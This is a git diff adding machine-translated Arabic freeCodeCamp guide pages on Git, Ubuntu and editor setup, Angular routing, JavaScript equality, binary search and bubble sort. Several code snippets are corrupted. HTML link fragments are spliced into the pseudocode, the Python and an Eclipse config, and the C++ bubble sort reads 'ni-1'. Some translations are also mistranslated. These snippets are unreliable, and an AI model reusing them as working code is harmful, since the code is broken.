+أنت تبني مواقع سيستخدمها الأشخاص الحقيقيون. لا تريد أن تؤدي مواقعك إلى تعقيد الحياة وإحباط الناس. تريد أن تجعل مواقعك حياتك أكثر سهولة. حسنًا ، ستحتاج إلى معرفة شيئًا عن قابلية استخدام الويب ، وهذا هو الكتاب الكلاسيكي حول قابلية الاستخدام على الويب. يقول جيفري زيلدمان ، مؤسس مجلة [**A List Apart**](http://alistapart.com/) ، "إذا قمت بتصميم ، أو كتابة ، أو برمجة ، أو امتلاك ، أو إدارة مواقع ويب ، يجب عليك قراءة هذا الكتاب." احسنت القول. اقرأ هذا الكتاب.
+
+## 10\. [_The Creativity Challenge_ by Tanner Christensen](http://www.amazon.com/Creativity-Challenge-Experiment-Innovate-Inspire/dp/1440588333)
+
+وأخيرًا ، إذا كنت مطور ويب مستقلًا يرتدي مجموعة متنوعة من القبعات ، فعليك الحفاظ على إبداعك في أعلى شكل وهذا يعني ممارسة ذلك. تحتوي هذه الكتب على 150 تحديات ممتعة تهدف إلى حثك على التفكير خارج الصندوق ورؤية الأشياء من زاوية مختلفة. تلخص مقدمة الكتاب بشكل جيد: "عندما تشعر أنك عالق أو غير ملهم ، انتقل ببساطة إلى صفحة عشوائية واتبع التعليمات لإكمال التحدي الإبداعي الذي تجده هناك".
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md b/client/src/guide/arabic/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md
new file mode 100644
index 0000000000..21d9146316
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/develop-back-end-projects-locally-and-run-on-c9/index.md
@@ -0,0 +1,15 @@
+---
+title: Develop Back End Projects Locally and Run on C9
+localeTitle: تطوير المشاريع الخلفية على المستوى المحلي وتشغيلها على C9
+---
+إذا كنت ، مثلي ، تقوم بتطوير "مشروع النهاية الخلفية" محليًا وتريد تشغيله على c9 ، فقد يساعدك ذلك.
+
+1.  دفع مشروعك لجيثاب
+2.  قم بإنشاء مساحة عمل جديدة في c9 وقم بتعيين 'Clone from Git أو Mercurial URL (اختياري)' مع عنوان URL الخاص بمستودع تخزين github. بعد إرسال صفحة الإنشاء الخاصة بك ، سوف تقوم c9 بنسخ مشروعك نيابة عنك.
+3.  تشغيل في نافذة محطة c9 الخاصة بك
+
+`bash echo "export NODE_PATH=$NODE_PATH:/home/ubuntu/.nvm/v0.10.35/lib/node_modules" >> ~/.bashrc && source ~/.bashrc`
+
+1.  تشغيل `bower install && sudo npm install`
+2.  تشغيل `mkdir data && echo 'mongod --bind_ip=$IP --dbpath=data --nojournal --rest "$@"' > mongod && chmod a+x mongod && ./mongod`
+3.  تشغيل `grunt serve` في نافذة طرفية أخرى
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md b/client/src/guide/arabic/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md
new file mode 100644
index 0000000000..a04649dea6
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/disable-code-auto-run-on-free-code-camp/index.md
@@ -0,0 +1,11 @@
+---
+title: Disable Code Auto Run on Free Code Camp
+localeTitle: Disable Code Auto Run على Free Code Camp
+---
+بشكل افتراضي ، يقوم موقع Free Code Camp تلقائيًا بتحميل وتشغيل آخر حل مسجل لك. إذا كنت قد أنشأت عن غير قصد حلقة لا نهائية أو خطأ آخر غير قابل للاسترداد أو ببساطة لا تثق في الشفرة ، فيمكنك تعطيل التفعيل التلقائي عن طريق وضع ما يلي في عنوان URL الخاص بك: `run=disabled`
+
+## مثال:
+
+عنوان URL: `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?solution=function%20meetBonfire(argument)`
+
+No-Run URL: `http://www.freecodecamp.com/challenges/Algorithm-meet-Algorithm#?run=disabled&solution=function%20meetBonfire(argument)`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/discard-unstaged-changes-in-git/index.md b/client/src/guide/arabic/miscellaneous/discard-unstaged-changes-in-git/index.md
new file mode 100644
index 0000000000..898e901f4a
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/discard-unstaged-changes-in-git/index.md
@@ -0,0 +1,15 @@
+---
+title: Discard Unstaged Changes in Git
+localeTitle: تجاهل التغييرات غير المنتظمة في جيت
+---
+عند استخدام Git ، من الشائع إجراء التغييرات التي تريد إزالتها تمامًا قبل مرحلة التدريج. على سبيل المثال ، بعد العمل على بعض الملفات ، فإنك تدرك أنك تريد التراجع عن التغييرات التي تم إجراؤها على ملف معين. لإلغاء التغييرات قبل التدريج والالتزام ، استخدم أمر `$ git checkout` .
+
+## لإفراغ ملف واحد:
+
+`$ git checkout <path-to-file>`
+
+_تذكر استبدال `<path-to-file>` باسم الملف الفعلي._
+
+## لإلغاء تثبيت كافة الملفات:
+
+`$ git checkout -- .`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/dont-just-say-rtfm/index.md b/client/src/guide/arabic/miscellaneous/dont-just-say-rtfm/index.md
new file mode 100644
index 0000000000..61490d0f17
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/dont-just-say-rtfm/index.md
@@ -0,0 +1,29 @@
+---
+title: Don't Just Say Rtfm
+localeTitle: لا تقل فقط رتفهم
+---
+## لا تقل فقط رتفهم
+
+تعليقات RTFM عديمة الفائدة بشكل عام
+
+> إذا قرأ الجميع الدليل الدقيق ، فإن معظم الأسئلة التي يتم طرحها على شبكة الإنترنت ستختفي!
+
+[RTFM](http://meta.stackexchange.com/a/167765)
+
+**"RTFM"** هو **وقح** ، لا شك في ذلك. ومع ذلك ، فإن **روابط الدليل في التعليقات مقبولة تمامًا** ، وأحيانًا الاستجابة المناسبة الوحيدة لسؤال ما.
+
+يمكن أن يحدث أن الشخص الذي يقرأ المنتج أو أي شيء متعلق بالمادة لم يجد الدليل ونقول RTFM ، يمكن أن يكون سيئا بالنسبة له ويمكن أن يؤذي مشاعره. أيضا ، من الأفضل أن تكون "لطيفة" واستخدام كلمات "مهذبة" لجعله يقرأ ويفهم النظام اليدوي.
+
+لذلك عند نشر رابط يدوي ، كن ذكيا. **إسقاط RTFM واستخدام صيغة أجمل** حتى يبقى الرابط. اقتراحات:
+
+*   تحقق من الصفحة اليدوية: (رابط)
+*   انظر الدليل: (رابط)
+*   هذا موضح في الدليل: (رابط)
+
+إذا كان البروتوكول الاختياري كسولًا حقًا:
+
+*   تمت الإجابة عن سؤالك في الدليل: (رابط) للرجوع إليه مستقبلاً ، يرجى دائمًا تذكر البحث في الدليل أولاً. شكر!
+
+والشخص لم ينظر في الدليل ثم:
+
+*   يمكنك طرح سؤالك في قائمة جهات الاتصال (الرابط).
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/download-and-install-ubuntu-desktop/index.md b/client/src/guide/arabic/miscellaneous/download-and-install-ubuntu-desktop/index.md
new file mode 100644
index 0000000000..386c872219
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/download-and-install-ubuntu-desktop/index.md
@@ -0,0 +1,15 @@
+---
+title: Download and Install Ubuntu Desktop
+localeTitle: قم بتنزيل وتثبيت Ubuntu Desktop
+---
+برنامج تعليمي سريع يعرض كيفية تثبيت Ubuntu.
+
+## خطوات:
+
+يمكنك تنزيل أحدث إصدار من Ubuntu Desktop [هنا](http://www.ubuntu.com/download/desktop) .  
+إذا كنت بحاجة إلى أي مساعدة في تثبيت نظام التشغيل ، فإن [هذا](http://www.ubuntu.com/download/desktop/install-ubuntu-desktop) البرنامج التعليمي من Ubuntu سيساعدك. إذا كنت ترغب في التمهيد المزدوج لجهاز الكمبيوتر الخاص بك مع Windows و Ubuntu الخروج [هذه](https://help.ubuntu.com/community/WindowsDualBoot) المادة مفيدة.
+
+بمجرد تثبيت Ubuntu ، قم بفتح المحطة الطرفية ونوع `sudo apt update && sudo apt upgrade` لتحديث الحزم الخاصة بك.
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") | التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**بدائل لبرنامج Windows و Mac الشهير**](//forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387) | [**جدول المحتويات**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**تخصيص أوبونتو**](//forum.freecodecamp.com/t/customizing-ubuntu/18382)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/downloading-text-editors-and-ides/index.md b/client/src/guide/arabic/miscellaneous/downloading-text-editors-and-ides/index.md
new file mode 100644
index 0000000000..e1af8438dd
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/downloading-text-editors-and-ides/index.md
@@ -0,0 +1,70 @@
+---
+title: Downloading Text Editors and Ides
+localeTitle: تنزيل برامج تحرير النصوص و Ides
+---
+ناقشنا محرري النصوص المحترفين و IDEs وكيفية تثبيتها على Ubuntu.
+
+## خيارات شعبية:
+
+### المحررين النص
+
+**تثبيت Atom:**
+
+ `sudo add-apt-repository ppa:webupd8team/atom 
+ sudo apt-get update 
+ sudo apt-get install atom 
+` 
+
+**تثبيت نص Sublime 3:**
+
+ `sudo add-apt-repository ppa:webupd8team/sublime-text-3 
+ sudo apt-get update 
+ sudo apt-get install sublime-text-installer 
+` 
+
+**تثبيت Visual Studio Code:**
+
+قم بتنزيل أحدث حزمة Visual Studio Coder: [Visual Studio](https://code.visualstudio.com/Docs/?dv=linux64_deb)
+
+ `sudo dpkg -i vscode-amd64.deb 
+` 
+
+### ايديس
+
+**تثبيت الكسوف:**
+
+ `sudo apt-get install openjdk-7-jdk 
+` 
+
+قم بتنزيل أحدث حزمة [Eclipse](http://www.eclipse.org/downloads/?osType=linux) : [Eclipse](http://www.eclipse.org/downloads/?osType=linux)
+
+ `sudo mv eclipse-inst-linux64.tar.gz /opt/ && cd /opt 
+ sudo tar -xvf eclipse-inst-linux64.tar.gz 
+` 
+
+أنشئ ملفًا جديدًا باسم `eclipse.desktop` في الدليل `/usr/share/applications/` وأضف الأسطر أدناه:
+
+ `<a href='https://www.jetbrains.com/idea/download' target='_blank' rel='nofollow'>Desktop Entry] 
+ Name=Eclipse 
+ Type=Application 
+ Exec=/opt/eclipse/eclipse 
+ Terminal=false 
+ Icon=/opt/eclipse/icon.xpm 
+ Comment=Integrated Development Environment 
+ NoDisplay=false 
+ Categories=Development;IDE 
+ Name[en]=eclipse.desktop 
+` 
+
+يمكنك الآن سحب هذا الملف إلى المشغل ، مما يتيح لك بدء Eclipse.
+
+**تثبيت Intellij فكرة:**
+
+قم بتنزيل أحدث إصدار من \[ **Intellij IDEA**
+
+ `sudo mv idea-2016.1.1.tar.gz /opt/ && cd /opt 
+ sudo tar -xvf idea-2016.1.1.tar.gz 
+` 
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") | التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")  
+[**تثبيت DevTools ومتصفحات الويب الحديثة**](//forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385) | [**جدول المحتويات**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**بدائل لبرنامج Windows و Mac الشهير**](//forum.freecodecamp.com/t/alternatives-to-popular-windows-and-mac-software/18387)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md b/client/src/guide/arabic/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md
new file mode 100644
index 0000000000..860d621ee8
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/dynamic-urls-using-routeparams-in-angular/index.md
@@ -0,0 +1,31 @@
+---
+title: Dynamic Urls Using Routeparams in Angular
+localeTitle: ديناميات ديناميكية باستخدام Routeparams في Angular
+---
+ماذا لو كان لديك الكثير من المستخدمين الذين ينشرون _أشياء_ لموقعك على الويب؟ ربما يريد المستخدمون لديك ملفًا شخصيًا أو جدارًا _للأشياء_ التي نشروها ، ويريدون أن يتمكنوا من مشاركتها مع أصدقائهم باستخدام عنوان url؟ يمكنك القيام بذلك ، لا biggie!
+
+لنفترض أنك استخدمت
+
+ `>> yo angular-fullstack:route wall 
+` 
+
+لإنشاء مسار http://myapp.wherever.com/wall/ لمستخدميك. أنت تريد رابطًا إلى http://myapp.wherever.com/wall/someUsername لعرض _أشياء_ خاصة بمستخدم معين.  
+استعرض إلى **/client/app/wall/wall.js ولاحظ** أنه يكتشف عنوان URL الذي يطلبه المستخدم قبل التصرف عليه:
+
+ `$routeProvider.when('/wall', … 
+` 
+
+يمكنك تخصيص هذا المسار للاحتفاظ به عندما يحاول المستخدم مشاهدة ملف شخصي مرتبط باسم مستخدم معين مثل:
+
+ `$routeProvider.when('/wall/:username', … 
+` 
+
+يشير النقطتين قبل "username" إلى أن هذا متغير ، ثم يتم تمريره إلى الوحدة _$ routeParams_ . في **wall.controller.js** ، _أدخل $ routeParams_ :
+
+ `.controller('WallCtrl', function ($scope, $routeParams) { … 
+` 
+
+ثم لاحقًا في **wall.controller.js** ، يمكنك معرفة اسم المستخدم المطلوب في عنوان URL بالرجوع إلى المتغير الذي تم إنشاؤه بواسطة _$ routeProvider_ باستخدام شيء ما مثل
+
+ `var wallOwner = $routeParams.username; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/edit-or-delete-gitter-messages/index.md b/client/src/guide/arabic/miscellaneous/edit-or-delete-gitter-messages/index.md
new file mode 100644
index 0000000000..3a755e1bdc
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/edit-or-delete-gitter-messages/index.md
@@ -0,0 +1,7 @@
+---
+title: Edit or Delete Gitter Messages
+localeTitle: تحرير أو حذف Gitter الرسائل
+---
+> تحرير أو حذف رسالة سابقة خلال 10 دقائق. من النشر
+
+![كيفية حذف الرسالة](//discourse-user-assets.s3.amazonaws.com/original/2X/9/91c9019fe7b7caee535f7e20678051f7fac687f5.gif)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/embed-youtube-videos-on-gitter/index.md b/client/src/guide/arabic/miscellaneous/embed-youtube-videos-on-gitter/index.md
new file mode 100644
index 0000000000..071716115b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/embed-youtube-videos-on-gitter/index.md
@@ -0,0 +1,7 @@
+---
+title: Embed Youtube Videos on Gitter
+localeTitle: تضمين أشرطة فيديو يوتيوب على جيتر
+---
+يمكنك إضافة فيديو مضمَّن إلى الويكي باستخدام رابط google فقط. سيظهر داخل chatwiki كفيديو مضمن.
+
+[https://www.youtube.com/watch؟v=BMUiFMZr7vk](https://www.youtube.com/watch?v=BMUiFMZr7vk)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/emojis-for-gitter-and-github/index.md b/client/src/guide/arabic/miscellaneous/emojis-for-gitter-and-github/index.md
new file mode 100644
index 0000000000..aa5476fd57
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/emojis-for-gitter-and-github/index.md
@@ -0,0 +1,5 @@
+---
+title: Emojis for Gitter and Github
+localeTitle: Emojis للغيتر و Github
+---
+يدعم كل من Gitter IM و GitHub مجموعة من الرموز التعبيرية الرائعة (المشاعر). من `:sunny:` ![:sunny:](//forum.freecodecamp.com/images/emoji/emoji_one/sunny.png?v=2 ":مشمس:") إلى `:poop:` ![:poop:](//forum.freecodecamp.com/images/emoji/emoji_one/poop.png?v=2 ":براز الانسان:") يمكنك التعبير عن مجموعة من العواطف!
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/equality-vs-identity-operator/index.md b/client/src/guide/arabic/miscellaneous/equality-vs-identity-operator/index.md
new file mode 100644
index 0000000000..bb14217fde
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/equality-vs-identity-operator/index.md
@@ -0,0 +1,52 @@
+---
+title: Equality Vs Identity Operator
+localeTitle: مشغل هوية المساواة مقابل
+---
+في JavaScript هناك عاملان يمكن استخدامهما للمقارنة بين قيمتين: _\==_ و _\===_ . يبدو أنها متشابهة تمامًا ولكنها تعمل بشكل مختلف ، وفي بعض الحالات ستعطي نتائج مختلفة.
+
+## مشغل الأسهم
+
+يقارن عامل المساواة (==) بين قيمتين بعد كل التحويلات النوعية اللازمة. دعونا نلقي نظرة على بعض الأمثلة:
+
+ `0 == ''             // -> true 
+ false == 'false'    // -> false 
+` 
+
+في المثال الأول ، يخضع كل من 0 و "(سلسلة فارغة) للتحويل التلقائي. يتم تحويل كلاهما إلى العطاء الكاذب:
+
+ `false == false 
+` 
+
+وهو _صحيح_ بشكل واضح. في المثال الثاني _"false"_ ، يتم تقييم سلسلة غير فارغة إلى true مما يجعل التعبير الكامل غير صحيح.
+
+## عامل الهوية
+
+وبالمقارنة ، فإن عامل تشغيل الهوية (===) سيعود صحته إذا وفقط إذا كانت القيمتان اللتان تقارنان من نفس النوع ولهما نفس القيمة. إذا حاولنا مقارنة قيم نوعين مختلفين ، فستظهر دائمًا _كاذبة_ .
+
+ `false === 0            // -> false 
+ 0 === ''              // -> false 
+ 5 === 5                  // -> true 
+` 
+
+على وجه الدقة ، يتحقق === مما إذا كان هناك متغيرين يشيران إلى نفس الكائن ، أو في حالة أنواع القيم (مثل _int_ ، أو _double_ ، أو _String_ ، أو _bool_ ، أو غير ذلك) إذا كان لكل منهما نفس القيمة.
+
+ `var array1 = [ 5, 6, 7 ]; 
+ var array2 = [ 5, 6, 7 ]; 
+ var array3 = array2; 
+ 
+ array1 === array2      // -> false 
+ array1 == array2      // -> false 
+ 
+ array2 === array3      // -> true 
+ array2 == array3      // -> true 
+` 
+
+كل من _array1_ و _array2_ لهما نفس النوع وهما متساويان ولكن _array1 === array2_ يُرجع false كما تشير إلى كائنات مختلفة. إرجاع _array2 === array3_ كما يشير كلا المتغيرات إلى نفس الكائن.
+
+## ما المشغل الذي ينبغي علي استخدامه؟
+
+من المهم أن نفهم الفرق بين _\==_ و _\===_ ولكن أي مشغل ينبغي استخدامه؟
+
+عند استخدام _\==_ مشغل جافا سكريبت ، سيتم تنفيذ جميع التحويلات اللازمة لمقارنة قيمتين. يبدو الأمر مناسبًا حقًا ، إلا أن تأثيرات هذا التحويل قد تكون مربكة وتؤدي إلى صعوبة شديدة في تتبع الأخطاء.
+
+دوغلاس كروكفورد ، مؤلف كتاب _جافا سكريبت:_ يقترح _الجزء الجيد_ أنه يجب استخدام _\=== في_ كل مكان ، بدلا من _\==_ المشغل لتجنب الأخطاء المحتملة. في معظم الحالات ، يجب عليك اتباع هذه النصيحة ، ما لم ترغب تحديدًا في الاستفادة من التحويل التلقائي للنوع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/find-the-culprit-with-git-blame/index.md b/client/src/guide/arabic/miscellaneous/find-the-culprit-with-git-blame/index.md
new file mode 100644
index 0000000000..44b1931bbd
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/find-the-culprit-with-git-blame/index.md
@@ -0,0 +1,13 @@
+---
+title: Find the Culprit with Git Blame
+localeTitle: العثور على الجاني مع غيت اللوم
+---
+يُظهر ما أجرته المراجعة وآخر مؤلف من تعديل لكل سطر من الملف وإلقاء اللوم عليهما.
+
+![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")![:no_good:](//forum.freecodecamp.com/images/emoji/emoji_one/no_good.png?v=2 ":ليس جيد:") - ![:see_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/see_no_evil.png?v=2 ":لا نرى الشر:")![:hear_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/hear_no_evil.png?v=2 ": hear_no_evil:")![:speak_no_evil:](//forum.freecodecamp.com/images/emoji/emoji_one/speak_no_evil.png?v=2 ": speak_no_evil:")
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/d/d8cb932324ede4b8c534c150056b81759fac5804.png)
+
+**المرجع:** [https://git-scm.com/docs/git-blame](https://git-scm.com/docs/git-blame)
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/2/24c2d8e7e137c454cd182222b6a38054a09c6889.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/fixing-exportsupdate-in-angular/index.md b/client/src/guide/arabic/miscellaneous/fixing-exportsupdate-in-angular/index.md
new file mode 100644
index 0000000000..3c5be9ff1c
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/fixing-exportsupdate-in-angular/index.md
@@ -0,0 +1,14 @@
+---
+title: Fixing Exportsupdate in Angular
+localeTitle: تحديد Exportsupdate في الزاوي
+---
+كما يتضح ، في **thing.controller.js** وكذلك في أية نقاط **نهائية** أخرى قد تولدها ، فإن وظيفة _export.update_ التي يتم استدعاؤها عند إجراء استدعاء _$ http.put_ من الواجهة الأمامية لتعديل كائن قاعدة بيانات موجود مكسورة . هذه [مشكلة معروفة](https://github.com/DaftMonk/generator-angular-fullstack/issues/310) ، ويمكن إصلاحها عن طريق تغيير السطر التالي:
+
+ `// Updates an existing thing in the DB. 
+ exports.update = function(req, res) { 
+ ... 
+    var updated = _.extend(thing, req.body); 
+    // change _.merge to _.extend 
+ ... 
+ }; 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md
new file mode 100644
index 0000000000..a307650c89
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-binary-search-guide/index.md
@@ -0,0 +1,74 @@
+---
+title: Freecodecamp Algorithm Binary Search Guide
+localeTitle: Freecodecamp الخوارزمية دليل البحث الثنائي
+---
+البحث الثنائي عبارة عن خوارزمية بحث تعثر على موضع لقيمة الهدف داخل مصفوفة تم فرزها.
+
+## مثال
+
+![بحث ثنائي](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3cb9e4cc59081e1b0a19b716dbcfb6df97ac2b52.png)
+
+يوضح الرسم التوضيحي أعلاه عمل خوارزمية البحث الثنائي في مصفوفة تم فرزها عندما تكون القيمة المستهدفة **4** .
+
+## خوارزمية
+
+يعمل البحث الثنائي على صفائف مصنفة. يبدأ البحث الثنائي بمقارنة العنصر الأوسط للصفيف مع القيمة المستهدفة. إذا تطابقت القيمة المستهدفة مع العنصر الأوسط ، فسيتم إرجاع موضعه في الصفيف. إذا كانت القيمة المستهدفة أقل أو أكثر من العنصر الأوسط ، فسيستمر البحث في النصف السفلي أو الأعلى من المصفوفة على التوالي مع عنصر وسط جديد ، مما يلغي النصف الآخر من الاعتبار.
+
+يكون pseudocode لخوارزمية البحث الثنائي كما يلي:
+
+ `BinarySearch(A<a href='https://repl.it/CWZq/158' target='_blank' rel='nofollow'>0..N-1], value) { 
+  low = 0 
+  high = N - 1 
+  while (low <= high) { 
+    // invariants: value > A[i] for all i < low 
+                   value < A[i] for all i > high 
+    mid = (low + high) / 2 
+    if (A[mid] > value) 
+      high = mid - 1 
+    else if (A[mid] < value) 
+      low = mid + 1 
+    else 
+      return mid 
+  } 
+  return not_found // value would be inserted at index "low" 
+ } 
+` 
+
+## تعقيد
+
+*   أسوأ أداء للحالة: **O (log n)**
+*   أفضل أداء للحالة: **O (1)**
+*   متوسط ​​أداء الحالة: **O (log n)**
+*   أسوأ تعقيد للحالات الفضائية: **O (1)** للتكرار؛ **O (log n)** for recursive.
+
+## تنفيذ C ++
+
+ `int binarySearch(int arr[], int value, int left, int right) { 
+  int middle; 
+  while (left <= right) { 
+    middle = (left + right) / 2; 
+    if (arr[middle] == value) 
+      return middle; 
+    else if (arr[middle] > value) 
+      right = middle - 1; 
+    else 
+      left = middle + 1; 
+  } 
+  return -1; 
+ } 
+` 
+
+: rocket: \[Run Code ## Python Implementation
+
+ `def binary_search(l, value): 
+    low = 0 
+    high = len(l)-1 
+    while low <= high: 
+        mid = (low+high)//2 
+        if l<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>mid] > value: high = mid-1 
+        elif l[mid] < value: low = mid+1 
+        else: return mid 
+    return -1 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CWZi/2)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md
new file mode 100644
index 0000000000..54580769ee
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-bubble-sort-guide/index.md
@@ -0,0 +1,85 @@
+---
+title: Freecodecamp Algorithm Bubble Sort Guide
+localeTitle: دليل فرز خوارزمية Freecodecamp
+---
+تصنيف الفقاعة عبارة عن خوارزمية فرز بسيطة. خوارزمية الفرز هذه هي خوارزمية تستند إلى مقارنة يكون فيها كل زوج من العناصر المجاورة  
+مقارنة ويتم تبديل العناصر إذا لم تكن في النظام. تقوم هذه الخوارزمية بالفرز في المكان بمعنى أنه لا يقوم بإنشاء مصفوفة جديدة بينما  
+تنفيذ عملية الفرز.
+
+#### مثال
+
+[الرسوم المتحركة من BubbleSort](http://www.sorting-algorithms.com/bubble-sort)
+
+ `array = <a href='https://repl.it/CXif' target='_blank' rel='nofollow'>5, 1, 4, 2, 8] 
+ 
+ First Pass: 
+ ( 5 1 4 2 8 ) –> ( 1 5 4 2 8 ), Here, algorithm compares the first two elements, and swaps since 5 > 1. 
+ ( 1 5 4 2 8 ) –>  ( 1 4 5 2 8 ), Swap since 5 > 4 
+ ( 1 4 5 2 8 ) –>  ( 1 4 2 5 8 ), Swap since 5 > 2 
+ ( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ), Now, since these elements are already in order (8 > 5), algorithm does not swap them. 
+ 
+ Second Pass: 
+ ( 1 4 2 5 8 ) –> ( 1 4 2 5 8 ) 
+ ( 1 4 2 5 8 ) –> ( 1 2 4 5 8 ), Swap since 4 > 2 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –>  ( 1 2 4 5 8 ) 
+ Now, the array is already sorted, but our algorithm does not know if it is completed. The algorithm needs one whole pass without any 
+ swap to know it is sorted. 
+ 
+ Third Pass: 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+ ( 1 2 4 5 8 ) –> ( 1 2 4 5 8 ) 
+` 
+
+#### تنفيذ C ++
+
+ `// Function to implement bubble sort 
+ void bubble_sort(int array[], int n) 
+ { 
+    // Here n is the number of elements in array 
+    int temp; 
+ 
+    for(int i = 0; i < n-1; i++) 
+ { 
+    // Last i elements are already in place 
+    for(int j = 0; j < ni-1; j++) 
+    { 
+        if (array[j] > array[j+1]) 
+        { 
+            // swap elements at index j and j+1 
+            temp = array[j]; 
+            array[j] = array[j+1]; 
+            array[j+1] = temp; 
+        } 
+    } 
+ } 
+ } 
+` 
+
+: صاروخ: \[تشغيل رمز Python التنفيذ
+
+ `def bubble_sort(arr): 
+    exchanges = True # A check to see if the array is already sorted so that no further steps gets executed 
+    i = len(arr)-1 
+    while i > 0 and exchanges: 
+       exchanges = False 
+       for j in range(i): 
+           if arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>j]>arr[j+1]: 
+               exchanges = True 
+               arr[j], arr[j+1] = arr[j+1], arr[j] 
+       i -= 1 
+ 
+ arr = [5,3,23,1,43,2,54] 
+ bubble_sort(arr) 
+ print(arr) # Prints [1, 2, 3, 5, 23, 43, 54] 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CW0M/1)
+
+#### [تعقيد الخوارزمية](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care)
+
+**أسوأ ومتوسط ​​زمن التعقيد:** O (n \* n). حالة أسوأ تحدث عندما يتم فرز صفيف عكس أي أن العناصر في ترتيب تنازلي
+
+**أفضل تعقيد لحالة الوقت:** O (n). تحدث حالة أفضل عندما يتم فرز الصفيف بالفعل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md
new file mode 100644
index 0000000000..cbde04be01
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-challenge-template-guide/index.md
@@ -0,0 +1,103 @@
+---
+title: Freecodecamp Algorithm Challenge Template Guide
+localeTitle: دليل قالب خوارزمية Freecodecamp Challenge
+---
+> هذا هو النموذج الذي يجب اتباعه عند كتابة حلول خوارزمية جديدة أو إضافة محتوى ، تأكد دائمًا من تنفيذ أحدث إصدار من هذا القالب على طلب السحب
+
+# الخوارزمية [أضف الاسم هنا\]](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ":triangular_flag_on_post:")
+
